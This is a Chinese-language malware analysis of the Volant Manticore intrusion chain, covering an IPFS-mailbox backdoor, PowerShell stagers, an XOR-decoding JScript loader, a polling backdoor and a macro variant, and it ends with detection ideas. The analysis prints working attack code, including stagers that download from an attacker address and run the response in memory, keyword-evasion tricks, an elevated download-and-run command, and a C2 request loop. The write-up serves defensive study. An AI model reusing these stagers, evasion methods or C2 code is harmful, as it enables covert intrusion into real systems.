摘要

這項研究檢視 Volant Manticore 入侵組織的執行鏈,其中的小型 Native API 後門會在記憶體中的 Script Framework 傳送之前,先充當偵察階段的檢查關卡 [1] 。我們分析 內容定址存儲(content-addressed storage) 如何被重新利用為命令信箱、PowerShell Loader 如何在執行階段解碼並編譯 JScript payload,以及最終階段的迴圈如何依據前綴分派命令。文章透過五段程式碼、三張循序圖整理訊息流程,並將研究結果轉化為偵測方向。

沒有傳統 C2 伺服器也能控制後門?揭露 KuboShell 如何透過 IPFS 接收攻擊指令! | 資訊安全新聞

1. 簡介

分階段入侵鏈會讓每個元件維持精簡、可拋棄,而且單獨看起來都不起眼。這裡研究的執行鏈包含四個環節:名為 KuboShell 的原生 Windows 入侵據點、一行式 PowerShell stager、負責編譯 JScript 的 PowerShell Loader,以及隸屬於 Homa Framework 的 JavaScript 後門 [1] 。前面的環節主要用來評估主機環境,並延後暴露功能完整的 payload。理解各環節之間的交接方式,比單獨分析任何一項指標更有價值,因為位址與檔案名稱會不斷變動,但整體結構卻維持不變。

2. KuboShell:以內容定址的信箱

KuboShell 是一個 64 位元 Windows 後門,其命令通道建立在 星際檔案系統(InterPlanetary File System,IPFS) 之上。這是一種透過 內容雜湊值 而非位置來定址檔案的網路。只有在某個節點固定保留檔案時,內容才能持續被存取,因此這個植入程式仰賴商業 Pinning Service ,以及一組 hardcoded 的存取 Token。啟動時,它會檢查是否具有系統管理員權限;如果沒有,就重新啟動自身以觸發權限提升提示。它使用第一張網路介面卡的 MAC 位址作為受害者識別碼,並上傳一個包含單字 hi 的檔案來完成註冊。之後,程式會透過服務的公開閘道,取得以相同識別碼命名的命令檔案,並將內容傳送至隱藏的 PowerShell 視窗執行。只有當命令本身將結果寫入預先定義的檔案時,執行結果才會被上傳。整個循環每隔 60 秒重複一次 [1] 。

從架構角度來看,操作者在這個階段完全不需要執行 Listener。共用儲存帳戶就是一個信箱,每台主機各自擁有一個輸入物件與一個輸出物件。對防禦方而言,看到的只是連往合法 API 的一般 HTTPS 流量,因此以信譽為基礎的封鎖機制效果有限。

sequenceDiagram autonumber participant V as Victim host participant P as Pinning service API participant G as Public IPFS gateway participant O as Operator V->>V: Read MAC of first adapter as host ID V->>P: Upload file hi named after MAC O->>P: Upload command file named MAC.txt loop Every 60 seconds V->>P: Look up MAC.txt P-->>V: Content identifier if present V->>G: Download command text by identifier G-->>V: Command text V->>V: Run text in hidden PowerShell V->>P: Upload MAC re.txt if command wrote results end

圖 1. KuboShell 以信箱形式進行命令交換的流程。

從這個信箱還原的命令歷史紀錄,顯示了這個入侵據點的實際用途。在執行任何大型 payload 之前,攻擊者會先進行偵察,包括檢查路由、網域系統管理員群組成員資格、服務記錄查詢與連線表。這支持了將 KuboShell 視為一道防護關卡的判斷,讓操作者能先評估環境,再決定是否部署功能更完整的元件 [1] 。其中三個項目( list 、 payload 、 persist )並不是有效的 PowerShell 指令,而是模組化 Framework 的命令。這些都是某個模組化框架的指令,這表示操作者可能把指令輸入到了錯誤的主控台,也顯示在這個簡單的 JavaScript 後門之上還存在一層功能更完整的框架。

  1. # Code 1 - operator command history recovered from the mailbox, annotated line by line
  2. # Framework command typed into PowerShell by mistake: would list loaded modules or sessions
  3. list
  4. # Framework command typed into PowerShell by mistake: would request a payload to be sent
  5. payload
  6. # Framework command typed into PowerShell by mistake: would install persistence
  7. persist
  8. # Valid PowerShell: dumps session variables to learn about the runtime environment
  9. Get-Variable
  10. # Prints the routing table to learn which networks the host can reach
  11. route print
  12. # Enumerates members of the domain administrators group in the directory
  13. net group "domain admins" /domain
  14. # Queries service records for Kerberos servers, which reveals domain controllers
  15. nslookup -q=srv _kerberos._tcp
  16. # Sends two echo requests and resolves the name of an internal address
  17. ping 10.40.0.174 -n 2 -a
  18. # Lists network connections and listening ports with numeric addresses
  19. netstat -nat
  20. # Next line downloads an installer script to the temp folder and starts it elevated with policy bypass
  21. Invoke-WebRequest -Uri 'hxxps://remote.medochomie[.]com/api/ClientDownloads/WindowsInstaller/0f3db892-22d4-4479-a7ec-e54a375bd19c' -OutFile "${env:TEMP}\Install-Remotely.ps1" -UseBasicParsing; Start-Process -FilePath 'powershell.exe' -ArgumentList ("-executionpolicy", "bypass", "-f", "${env:TEMP}\Install-Remotely.ps1") -Verb RunAs;

3. Stager 與 Loader

第一階段(Stage 1)會向固定位址發出單一 Request,並使用每個用戶端專屬的 Path,接著直接在記憶體中執行 Response(Code 2)。不同變體會將位址拆成多個字串片段再串接,以避開 Signature 比對;也會利用內建變數中不同字元的位置,組合出執行 Cmdlet 的名稱(Code 3)。依照我們的分析,預設的 $PSSessionConfigurationName 值中,第 16 與第 10 個位置分別是字母 i 和 e ,再加上字面值 x ,就會組成 iex 。Cmdlet 名稱不會直接以字串形式出現,因此關鍵字規則可能無法偵測,但針對動態運算式評估行為的規則仍然有效 [1] 。

  1. # Code 2 - Stage 1 stager, reformatted to one statement per line
  2. # Build the URL: fixed address and port, path is the unique client ID
  3. $uri ="http://185.205.187[.]109:8000/{UID}";
  4. # Send an HTTP GET; stop immediately on any error so no partial content is run
  5. $response = Invoke-WebRequest -Uri $uri -Method GET -ErrorAction Stop;
  6. # Execute the downloaded text directly in memory, so nothing is written to disk
  7. Invoke-Expression $response.Content
  1. # Code 3 - obfuscated Stage 1 variant, reformatted to one statement per line
  2. # Rebuild the URL from string fragments so the address is not visible as one token
  3. $uri ="http://"+"185"+"."+"205"+"."+"187"+"."+"109"+":8000/{UID}";
  4. # Create a .NET web request object for that URL
  5. $req = [System.Net.WebRequest]::Create($uri);
  6. # Assemble the text of a method call in pieces to defeat keyword matching
  7. $rgr = '$re' + 'q.GetRe' + 'sponse()';
  8. # Characters 16 and 10 of the variable plus x spell the evaluation cmdlet; the dot operator invokes it on the text
  9. $res = .($PSSessionConfigurationName[16] + $PSSessionConfigurationName[10] + 'x') $rgr;
  10. # Assemble a second method-call string in pieces
  11. $rger = '$res.GetR' + 'espon' + 'seStream()';
  12. # Evaluate it with the same hidden cmdlet name to obtain the response stream
  13. $strm = .($PSSessionConfigurationName[16] + $PSSessionConfigurationName[10] + 'x') $rger ;
  14. # Wrap the stream in a reader so text can be consumed
  15. $reader = New-Object System.IO.StreamReader($strm);
  16. # Read the complete response body into a string
  17. $content = $reader.ReadToEnd();
  18. # Evaluate the received script with the hidden cmdlet name
  19. .($PSSessionConfigurationName[16] + $PSSessionConfigurationName[10] + 'x') $content

第二階段(Stage 2)會將下一個 payload 隱藏為由三位數十進位數字組成的字串。Loader 會移除換行字元,將每三個字元轉換成一個數值,再與字母 o 的字元代碼進行 XOR,最後將解碼後的文字透過 JScript 選項傳給 Add-Type ,並呼叫靜態 run 方法(Code 4)。外層迴圈在發生例外時,會使用不同的型別名稱重新編譯。這可能是因為同一個 Session 中無法重新定義相同的型別名稱。最終結果是在 PowerShell 程序內部編譯出一個 JScript 植入程式。

  1. # Code 4 - Stage 2 loader, annotated line by line
  2. # Define a decoder function
  3. function Xor-Decode {
  4. # Accept the encoded text as a string parameter
  5. param ([string]$EncodedText)
  6. # Key is the numeric code of the character o (111)
  7. $key = [int][char]'o'
  8. # Start with an empty output string
  9. $result = ""
  10. # Remove carriage returns and line feeds from the encoded text
  11. $clean = ($EncodedText -replace "`r|`n", "")
  12. # Walk the text three characters at a time
  13. for ($i = 0; $i -lt $clean.Length; $i += 3) {
  14. # Read one three-digit decimal value
  15. $num = [int]$clean.Substring($i, 3)
  16. # XOR with the key and convert the result back to a character
  17. $result += [char]($num -bxor $key)
  18. }
  19. # Return the decoded source text
  20. return $result
  21. }
  22. # Encoded payload string (truncated here)
  23. $src = "079079079079028027014027006012..."
  24. # Decode the payload into JScript source
  25. $dec = Xor-Decode $src
  26. # Repeat forever so the implant restarts if it ever returns
  27. while($true) {
  28. # Try the first compilation attempt
  29. try {
  30. # Compile the JScript as a .NET type and select the second returned type
  31. $jsc = (add-type -language JScript -MemberDefinition $dec -PassThru -Name 'jsc35')[1]
  32. # Call the static run method, which contains the backdoor loop
  33. $jsc::run()
  34. }
  35. # On failure, retry
  36. catch {
  37. # Compile again under a different type name to avoid a name clash
  38. $jsc = (add-type -language JScript -MemberDefinition $dec -PassThru -Name 'jsc36')[1]
  39. # Call run again
  40. $jsc::run()
  41. }
  42. }

4. Stage 3 通訊協定

Stage 3 植入程式會持續執行永久迴圈(Code 5)。它透過 WinHttp COM 物件,將 hi 傳送至由字母 X 與每位受害者專屬的五個字元 key 組成的 Path。伺服器會檢查該物件的預設 User-Agent。Request Body 的格式為 content、空的一對括號,接著是 key。Response 會移除頭尾各一個字元,任何長度超過兩個字元的命令都會被執行。命令依據前綴分派:以 function 開頭的文字會在隱藏的 PowerShell 中執行,並略過執行原則;以 ssh 開頭的文字會透過命令直譯器非同步啟動,避免長時間執行的 Tunnel 阻塞 Polling;其他內容則透過 cmd /c 執行,輸出重新導向至暫存檔案,再由程式讀取、清理、刪除,最後回傳至伺服器。每次迴圈之間會暫停十秒 [1] 。這套固定的 Request 格式是整條執行鏈最具辨識度的網路特徵。

sequenceDiagram autonumber participant K as KuboShell participant S as Stage 1 stager participant L as Stage 2 loader participant B as Stage 3 JScript backdoor participant C as Server K->>K: Run reconnaissance commands K->>S: Launch stager after operator decision S->>C: GET per-client path C-->>S: Encoded loader text S->>L: Invoke-Expression in memory L->>L: Decode triplets with XOR then Add-Type JScript L->>B: Call run loop Every 10 seconds B->>C: POST X plus key, body hi then key C-->>B: Command or empty reply B->>B: Dispatch by prefix B->>C: POST command output end

圖 2. 執行鏈四個環節之間的交接流程。

  1. // Code 5 - Stage 3 JScript backdoor excerpt, annotated line by line
  2. // Static method that wraps one HTTP exchange with the server
  3. static function httppost(content, key) {
  4. // Guard the network code so failures do not stop the loop
  5. try
  6. {
  7. // Create the WinHttp COM object; its default User-Agent is what the server checks
  8. var objHTTP = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  9. // Path is the letter X plus the per-victim key
  10. var url = "http://185.205.187[.]109:8000/X" + key;
  11. // Body format is content, an empty pair of parentheses, then the key
  12. var data = content + "()" + key;
  13. // Open a synchronous POST request
  14. objHTTP.Open("POST", url, false);
  15. // Send the body
  16. objHTTP.Send(data);
  17. // Read the server reply as text
  18. var res = objHTTP.responseText;
  19. // Remove the first and last character of the reply
  20. res = res.slice(1, -1);
  21. // Hand the cleaned reply to the caller
  22. return res;
  23. }
  24. // Error handling elided in the excerpt
  25. ...
  26. }
  27. // Static entry point called by the PowerShell loader
  28. static function run() {
  29. // Setup code elided in the excerpt
  30. ...
  31. // Endless command loop
  32. while(true)
  33. {
  34. // Elided code
  35. ...
  36. // Send the greeting hi; the reply is the next command
  37. var cmd = httppost("hi", key);
  38. // Treat replies longer than two characters as real commands
  39. if (cmd.length > 2) {
  40. // Execute the command through the prefix dispatcher ex()
  41. result = ex(cmd);
  42. }
  43. // Elided code
  44. ...
  45. // Only report back when there is output to send
  46. if(result.length > 2) {
  47. // Post the output using the same grammar
  48. result = httppost(result, key);
  49. }
  50. // Pause before the next iteration
  51. sleep();
  52. }
  53. }

5. 以文件為媒介的進入點

較早期的變體會從啟用巨集的 Word 檔案開始執行。使用者啟用內容後,巨集會將 AccessVBOM registry value 設為 1,以取得程式化存取 VBA 專案的權限;接著開啟隱藏的 Word instance,從數百個編碼片段重新組合第二階段,並將其注入其中。隨後,所有其他 WINWORD.EXE 程序都會被終止,因此使用者只會看到類似當機的現象,而隱藏的 instance 則繼續執行。後門會產生一組隨機的十個字元識別碼,並使用一般 HTTP Endpoint。這些 Endpoint 的名稱是 Base64 字串,解碼後分別為 signup 、 update 和 result ,每次 Polling 之間會等待 20 秒。以 $uri 或 $req 開頭的命令會交由隱藏的 PowerShell 執行,但不會回傳輸出結果。這與 Stage 1 stager 的變數名稱相符,顯示它可能會將控制權交接給相同的 Framework。大型檔案會以編號片段傳送,並透過 Response Header 指定檔案名稱 [1] 。

sequenceDiagram autonumber participant W as Macro in Word file participant H as Hidden Word instance participant C as Server W->>W: Show fake not-responding message W->>W: Set AccessVBOM to 1 W->>H: Rebuild and inject second stage W->>W: Terminate other WINWORD.EXE processes H->>C: signup with id, local IP, public IP loop Every 20 seconds H->>C: Check for file fragment H->>C: update with victim id C-->>H: Command text alt Starts with uri or req H->>H: Hidden PowerShell, no output returned else Other command H->>H: cmd /c, output to temp file H->>C: result with JSON body end end

圖 3. 巨集後門的 Polling 邏輯。

6. 與已公開 Script 植入程式的比較

以 Script Wrapper 包裝 PowerShell beacon 並不是新技術。較早期工具組的公開惡意程式分析指出,其中的 JavaScript 檔案包含 PowerShell beacon,會從伺服器取得加密命令 [2] 。2021 年的一個 PowerShell 後門同樣使用 XOR 加密其通訊流量,透過系統 UUID 識別主機,並在 Runspace 中執行 [3] 。這裡研究的執行鏈則有所不同,它使用衍生自 MAC 的識別碼或五個字元的 key、經過編譯的 JScript 階段,以及 Pinning Service 信箱;但其 Request 格式與較早期的命令與控制用戶端家族相符 [1] 。

7. 輔助工具

一般商用遠端管理代理程式(NetLock RMM、MeshCentral、N-able)會與後門一起部署,或取代後門使用;以郵件為主題的子網域搭配釣魚活動服務,則顯示攻擊者可能正在竊取認證資訊。操作者的虛擬機器顯示使用了 VirtualBox 與 VMware Guest、VPN 介面卡,以及一套疑似用來在正式使用前測試工具的防毒產品 [1] 。合法的管理軟體是很有效的偽裝方式,因為其執行檔與網路流量通常預設就會受到信任。

8. 偵測機會

  • 非瀏覽器程序連線至 Pinning Service API 或公開 IPFS Gateway。
  • 以 MAC 位址命名的檔案,副檔名為 .log 或 re.txt ,或是位於公開使用者設定檔資料夾中的 outputt2.txt 。
  • PowerShell 呼叫 Add-Type -Language JScript ,或透過重新組合 Cmdlet 名稱來評估 Web 內容。
  • 透過 WinHttp COM 物件傳送 POST Request 至 /X 加上五個字元的 Path,且 Body 以 () 和相同的 key 結尾。
  • 寫入 AccessVBOM 值後,接著大量終止 Word 程序。
  • 固定的 Beacon 間隔為 10、20 與 60 秒。

9. 結論

這條執行鏈透過多層小型且看似合法的機制達成目的:利用受信任的儲存服務建立初始入侵據點、透過僅在記憶體中執行的 Script 階段取得功能,並使用依據前綴分派的方式提高彈性。整體結構比各項指標更為穩定,因此針對不同階段交接行為進行偵測,能提供最佳的長期防護效果。

參考資料

  1. Volant Manticore: Flying Under the Radar
  2. Malware Analysis Report, CISA MAR-10369127.r1.v1.WHITE
  3. Simple but Undetected PowerShell Backdoor